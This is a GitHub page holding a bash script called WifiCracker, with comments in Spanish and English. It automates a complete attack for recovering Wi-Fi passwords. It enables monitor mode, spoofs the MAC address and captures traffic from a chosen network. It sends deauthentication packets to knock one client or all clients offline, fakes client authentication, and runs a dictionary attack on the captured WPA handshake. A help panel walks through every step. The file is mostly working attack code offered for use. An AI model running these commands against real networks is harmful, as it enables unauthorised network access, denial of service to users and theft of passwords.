-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathWifiCracker.sh
executable file
·515 lines (409 loc) · 17.8 KB
/
WifiCracker.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
# Programa en bash hecho para averiguar la contraseña de un Wifi por medio de
# deautenticación de clientes conectados a la misma - (https://github.com/Marcelorvp/WifiCracker)
# Program made in bash that allows you to obtain Wifi's passwords through clients de-authentication
# connected to the network - (https://github.com/Marcelorvp/WifiCracker)
# Copyright (c) 2016 Marcelo Raúl Vázquez Pereyra
#!/bin/bash
# ¡¡Debes de ejecutar el programa siendo superusuario!! [No hace falta estar conectado a
# ninguna red para ejecutar este programa]
# ¡¡You must run the program as root!! [Is not necessary to be connected at any network
# for running the program]
value=1
monitorMode(){
#Tienes que ser root para ejecutar esta opción, de lo contrario no podrás
#You must execute this option as root, otherwise you won't be able
if [ "$(id -u)" = "0" ]; then
echo " "
echo "Abriendo configuración de interfaz..."
echo " "
sleep 2
ifconfig
echo " "
echo -n "Indique su tarjeta de red Wifi (wlan0, wlp2s0...): "
read tarjetaRed
echo " "
echo "Iniciando modo monitor..."
sleep 2
if [ "$value" = "1" ]; then
# Al habilitar el modo monitor, capturamos y escuchamos cualquier tipo de
# paquete que viaje por el aire. También capturamos no sólo a aquellos clientes
# que estén conectados a la red, también los no asociados a ninguna (con sus
# respectivas direcciones MAC).
# Enabling monitor mode, we can capture and hear any kind of package travelling
# in the air. Also we capture not only those users connected to the network,
# also not-associated clientes (with their respectives MAC addresses).
airmon-ng start $tarjetaRed
value=2
echo " "
echo "Dando de baja la interfaz mon0"
echo " "
sleep 2
ifconfig mon0 down
echo "Cambiando direccion MAC..."
echo " "
sleep 2
# A continuación vamos a cambiar nuestra dirección MAC, esto lo haremos para
# realizar el 'ataque' de manera más segura en modo monitor. Para ello, siempre
# que queramos realizar algún cambio en una interfaz, primero tenemos que darla
# de baja. Posteriormente, al realizar los cambios... esta tendrá que ser
# nuevamente dada de alta.
# Next we are going to change our MAC address, we will do it for doing a safe
# 'attack' on monitor mode. Whenever we want to make a change in an interface, first
# we have to disable it. Later, when making changes ... this will have to be re-released.
macchanger -a mon0
echo " "
echo "Dando de alta la interfaz mon0"
echo " "
sleep 2
ifconfig mon0 up
value=2
echo "¡Terminado!"
sleep 3
# Si quisiéramos comprobar que nuestra dirección MAC ha sido cambiada, podemos
# hacer uso del comando 'macchanger -s mon0'. Esta nos mostrará 2 direcciones MAC,
# una de ellas es la 'New MAC' que corresponde a la que el programa 'macchanger' nos
# ha asignado aleatoriamente, la otra es la 'Permanent MAC', que corresponde a aquella
# que nos volverá a ser otorgada una vez paremos el modo monitor, es decir... la misma
# que teníamos desde un principio.
# If we wanted to see if our MAC address has been changed, we can use 'macchanger -s mon0'.
# This show us 2 MAC addresses, first is 'New MAC' corresponding to the random MAC program itself offers.
# Second is 'Permanent MAC', corresponding to our real MAC adress, it will be refunded once we finish the process.
else
echo " "
echo "No es posible, ya estás en modo monitor"
echo " "
sleep 4
fi
elif [ "$(id -u)" != "0" ]; then
echo " "
echo "Esto debe ser ejecutado como root"
echo " "
exit 1
fi
}
interfacesMode(){
# Si ya ha has iniciado el modo monitor, verás que ahora en vez de tener 3 interfaces,
# tienes 4, una de ellas siendo la 'mon0' correspondiente al modo monitor. Cuando la des
# de baja o realices algún cambio, esta opción te permitirá ver qué está ocurriendo con las
# interfaces.
# If you have already started the monitor mode, you will see that now instead of having 3 interfaces,
# you have 4, and one of them being 'mon0', corresponding to monitor mode. When desabling or enabling,
# this option will show you what is happening on interfaces.
echo " "
echo "Abriendo configuración de interfaz..."
echo " "
echo "'mon0' corresponderá a la nueva interfaz creada, encargada de escanear las redes WiFi disponibles..."
echo " "
sleep 2
ifconfig
echo " "
sleep 4
}
monitorDown(){
echo " "
echo "Dando de baja el modo monitor..."
echo " "
sleep 2
if [ "$value" = "2" ]; then
# Con este comando detienes por completo el modo monitor. Siempre que quieras
# volver a utilizarlo una vez parado, tendrás que volver a crearlo nuevamente
# a través de la opción 1.
# With this command, you stop the monitor mode. Whenever you want to use it
# again once stopped... you'll have to create it again through option 1
airmon-ng stop mon0
echo " "
echo "Interfaz mon0 dada de baja con éxito"
echo " "
sleep 4
value=1
else
echo "No hay interfaz mon0, tienes que iniciarla con la opción 1"
sleep 3
fi
}
wifiScanner(){
if [ "$value" = "2" ]; then
echo " "
echo "Van a escanearse las redes Wifis cercanas..."
echo " "
echo "Una vez carguen más o menos todas las redes, presiona Ctrl+C"
sleep 4
# 'airodump-ng' nos permite analizar las redes disponibles a través de una
# interfaz que le especifiquemos, en nuestro caso 'mon0'. Podría resultar
# más simple hacer 'airodump-ng wlp2s0' con la propia tarjeta de red
# directamente y acceder al escaneo de redes Wifi... pero el programa mismo
# te avisará de que es necesario inicializar el modo monitor, de lo contrario
# no te será permitido el escaneo de redes.
# 'airodump-ng' allows us to analyze the available networks via an specific interface,
# in our case... 'mon0'. It might be simpler to do 'airodump-ng wlp2s0' with our
# own network card and access the scanning wireless networks ... but the program itself
# will warn you it's necessary to initialize monitor mode, otherwise... you will not be
# allowed to network scanning
airodump-ng mon0
echo " "
echo -n "Red Wifi (ESSID) que quiere marcar como objetivo: "
read wifiName
echo " "
echo -n "Marque el canal (CH) en el que se encuentra : "
read channelWifi
echo " "
echo -n "Nombre que desea ponerle a la carpeta: "
read folderName
echo " "
echo -n "Nombre que desea ponerle al archivo: "
read archiveName
echo " "
echo -n "Escribe tu nombre de usuario del sistema: "
read userSystem
echo " "
echo "Se va a crear una carpeta en el escritorio, esta contendrá toda la información de la red Wifi seleccionada"
echo " "
sleep 4
mkdir /home/$userSystem/Escritorio/$folderName
cd /home/$userSystem/Escritorio/$folderName
echo "A continuación vamos a ver la actividad sólo en $wifiName"
echo " "
echo "Abra otra terminal, y dejando en ejecución este proceso ejecute la opción 5"
echo " "
sleep 7
# El siguiente comando también podemos usarlo con la sintaxis: airodump-ng -c ' ' -w ' ' --bssid '$wifiMAC' mon0
# La 'essid' corresponde al nombre del Wifi, la 'bssid' a su dirección MAC. Con esto lo que hacemos es
# centrarnos en el escaneo de una única red especificada pasada por parámetros, aislando el resto de redes.
# The following command can also be use by the following syntax: airodump-ng -c '' -w '' --bssid '$ wifiMAC' mon0
# 'essid' corresponding to the Wifi's name and 'bssid' to his MAC adress. What we are doing with this is focussing
# on a unique network especified by parameters, isolating the other networks.
airodump-ng -c $channelWifi -w $archiveName --essid $wifiName mon0
else
echo " "
echo "Inicia el modo monitor primero"
echo " "
sleep 2
fi
}
wifiPassword(){
# Es posible que tengas que volver a hacer este proceso varias veces, ya que hay que esperar a que se genere el Handshake.
# El Handshake se genera en el momento en el que el cliente se vuelve a reconectar a la red (esto no siempre es así, pero
# por fines prácticos nos será de utilidad verlo de esta forma)
# You may have to redo this process several times, because you have to wait for the handshake. The handshake is generated
# when the customer is reconnected to the network (this is not always true, but for practical purposes we will say that)
echo " "
echo "Esta opción sólo deberías ejecutarla si ya has hecho los pasos 1, 4 y 5... de lo contrario no obtendrás nada"
echo " "
sleep 3
echo " "
echo -n "Nombre del diccionario (póngalo en el escritorio, con extensión correspondiente): "
read dictionaryName
echo " "
echo -n "Nombre de la carpeta creada en el paso 4: "
read folderName
echo " "
echo -n "Nombre del archivo creado en el paso 4 (Con extensión correspondiente '.cap'): "
read archiveName
echo " "
echo -n "Escribe tu nombre de usuario del sistema: "
read userSystem
echo " "
echo "Vamos a proceder a averiguar la contraseña"
echo " "
sleep 5
# La sintaxis de 'aircrack-ng' es -> "aircrack-ng -w rutaDiccionario rutaFichero". De todos los ficheros que
# se han generado en la carpeta, el que nos interesa es el que tiene extensión '.cap'. A pesar de haber
# especificado el nombre del fichero anteriormente a la hora de crearlo, échale un ojo al nombre dentro de la
# carpeta de manera manual, puede que el nombre tenga ligeros cambios.
# The syntax of 'aircrack-ng' is -> "aircrack-ng -w dictionaryRoute fileRoute". From all files that have been generated
# in the folder, which interests us is the '.cap' extension file. Despite of the filename specified above, take a look
# to the name again inside the folder, the name may have slight changes.
aircrack-ng -w /home/$userSystem/Escritorio/$dictionaryName /home/$userSystem/Escritorio/$folderName/$archiveName
sleep 10
}
resetProgram(){
echo " "
echo "Esta opción deberías escogerla en caso de haber ya estado usando las anteriores"
sleep 4
echo " "
echo "Dando de baja el modo monitor..."
echo " "
sleep 3
airmon-ng stop mon0
value=1
}
macAttack(){
echo " "
echo -n "Introduzca nombre del Wifi (ESSID): "
read wifiName
echo " "
echo -n "Escriba la dirección MAC del usuario al que desea deautenticar (STATION): "
read macClient
echo " "
echo "Procedemos a enviar paquetes de deautenticación a la dirección MAC especificada"
echo " "
echo "Es recomendable esperar 1 minuto"
echo " "
echo "Cuando el minuto haya pasado, presione Ctrl+C para parar el proceso y desde una nueva terminal escoga la opción 7"
echo " "
sleep 13
# A continuación procederemos a deautenticar a un usuario de la red (echarlo de la red), para posteriormente esperar
# a que se genere el Handshake. Si quisiéramos hacer un Broadcast para echar a todos los usuarios de la red y
# esperar a que se genere el Handshake por parte de uno de los usuarios, tendríamos que especificar como dirección
# MAC la siguiente -> FF:FF:FF:FF:FF:FF
# Then we proceed to de-authenticate a network user, then we wait until handhsake is generated. If we want to make a
# Broadcast for de-authenticate all users from the same network and wait for the Handshake, we need to specify as
# MAC address -> FF:FF:FF:FF:FF:FF
aireplay-ng -0 0 -e $wifiName -c $macClient --ignore-negative-one mon0
# También podríamos haber hecho una deautenticación global y esperar a que se genere un Handshake por parte de
# uno de los clientes, para posteriormente por fuerza bruta usar el diccionario, esto es de la siguiente forma:
# aireplay-ng --deauth 200000 -e $wifiName --ignore-negative-one mon0
# We could have done a global deauthentication and wait until Handshake is generated, this is as follow:
# aireplay-ng --deauth 200000 -e $wifiName --ignore-negative-one mon0
}
# Escoge esta opción sólo si no hay clientes conectados a la red
# Choose this option only if there are no clients connected to the network
fakeAuth(){
echo " "
echo "Vamos a proceder a autenticar un falso cliente en la red, desde la Terminal 1 podrás ver cómo este es añadido"
echo " "
echo "Posteriormente, selecciona la opción 5 para mandar paquetes de deautenticación a dicho cliente"
echo " "
sleep 5
echo -n "Escribe una dirección MAC (Puedes usar a clientes no asociados o tu propia dirección MAC [La nueva]): "
read fakeMAC
echo " "
echo -n "Escribe el nombre del Wifi (ESSID): "
read wifiName
echo " "
echo "Procedemos..."
echo " "
sleep 3
aireplay-ng -1 0 -e $wifiName -h $fakeMAC --ignore-negative-one mon0
}
necessaryPrograms(){
echo " "
echo "Se va a instalar 'aircrack-ng' en tu ordenador, ¿quiere continuar? (Si/No)"
echo -n "-> "
read respuestaA
case $respuestaA in
Si ) echo " "
echo "Comenzando la instalación..."
echo " "
sleep 2
sudo apt-get install aircrack-ng
echo " "
;;
No ) echo " "
echo "Instalación de 'aircrack-ng' cancelada..."
echo " "
sleep 3
;;
esac
echo "Se va a instalar 'macchanger' en tu ordenador, ¿quiere continuar? (Si/No)"
echo -n "-> "
read respuestaB
case $respuestaB in
Si ) echo " "
echo "Comenzando la instalación..."
echo " "
sleep 2
sudo apt-get install macchanger
echo " "
;;
No ) echo " "
echo "Instalación de 'macchanger' cancelada..."
echo " "
sleep 3
;;
esac
}
autorInfo(){
echo " "
echo "Programa hecho por Marcelo Raúl Vázquez Pereyra || Copyright 2016 © Marcelo Raúl Vázquez Pereyra"
echo " "
sleep 5
}
versionSystem(){
echo " "
echo "WifiCracker (v0.1.2) - Copyright 2016 © Marcelo Raúl Vázquez Pereyra"
echo " "
sleep 5
}
panelHelp(){
echo " "
echo "************************************************************************************"
echo "El primer paso es iniciar el modo monitor a través de la opción 1. Una vez iniciado
el modo monitor... eres capaz de escuchar y capturar cualquier paquete que viaje por el aire.
Puedes comprobar a través de la opción 2 si has iniciado correctamente la interfaz monitor.
Posteriormente, analizarás redes WiFis disponibles en tu entorno mediante la opción 4. Te
saldrán tanto clientes autenticados a una red como no asociados a ninguna. Cada cliente
está situado en 'STATION' y poseen una dirección MAC. Estos verás que están conectados a
una dirección MAC, correspondiente a la del routter (BSSID). Puedes ver de qué WiFi se trata
viendo su 'ESSID' correspondiente.
El programa te permitirá filtrar la red WiFi que deseas aislando el resto pasándole como
parámetro el nombre de la misma. Si salen varias veces la misma red, se tratan de
repartidores de señal. Una vez hecho esto una nueva carpeta será creada en el Escritorio
con el nombre que desees, esta contendrá varios ficheros... entre los cuales viajará
información encriptada, incluida la contraseña del routter. El que nos interesa es el de
extensión '.cap'.
Una vez creadas las carpetas y ficheros, procedes a de-autenticar a los usuarios de la red.
En este caso te centrarás en un único usuario conectado a la red, para ello lo que harás
será escoger la dirección MAC del mismo y pasársela como parámetro cuando te sea pedida.
También se te permite la posibildad de realizar una de-autenticación global, de forma que
echarías a todos los usuarios de la red exceptuándote a ti mismo en caso de que estés
conectado a la misma, esto lo haces pasándole como dirección MAC -> FF:FF:FF:FF:FF:FF
Una vez comience el 'ataque' y el usuario sea echado de la red, tendrás que parar el proceso
de de-autenticación y esperar a que se reconecte. Cuando se reconecta se genera lo que se
conoce como un 'Handshake', y es cuando capturamos la contraseña.
Por tanto, una vez hecho todo este proceso, mediante la opción 7 especificamos 2 rutas,
por un lado la del Diccionario (que deberá ser puesto en el Escritorio) y por otro la del
fichero '.cap' que se nos generó en la opción 4. El programa comenzará a trabajar hasta
averiguar la contraseña, la cual será mostrada en formato legible.
********************************************************************************************"
echo " "
echo -n "Pulse cualquier tecla y Enter para volver al menú principal: "
read
}
while true
do
clear
echo " "
echo " *** Wifi Cracker ***"
echo " "
echo "1. Iniciar el modo monitor "
echo "2. Mostrar interfaces"
echo "3. Dar de baja el modo monitor"
echo "4. Escanear redes wifis"
echo "5. Deautenticación a dirección MAC"
echo "6. Falsa autenticación de cliente"
echo "7. Obtener contraseña Wifi"
echo "8. Reiniciar programa"
echo "9. Instalar programas necesarios"
echo " "
echo "*************************************************"
echo "[[-h | --help ] [-a | --author] [-v | --version]]"
echo "*************************************************"
echo "0. Salir "
echo "-------------------------------------------------"
echo " "
echo -n "Introduzca una opcion: "
read opcionMenu
case $opcionMenu in
1 ) monitorMode ;;
2 ) interfacesMode ;;
3 ) monitorDown ;;
4 ) wifiScanner ;;
5 ) macAttack ;;
6 ) fakeAuth ;;
7 ) wifiPassword ;;
8 ) resetProgram ;;
9 ) necessaryPrograms ;;
-h | --help ) panelHelp ;;
-a | --author ) autorInfo ;;
-v | --version ) versionSystem ;;
0 ) echo " "
exit
;;
* ) echo " "
echo "Esta opción no existe, vuelva a intentarlo"
echo " "
sleep 2
;;
esac
done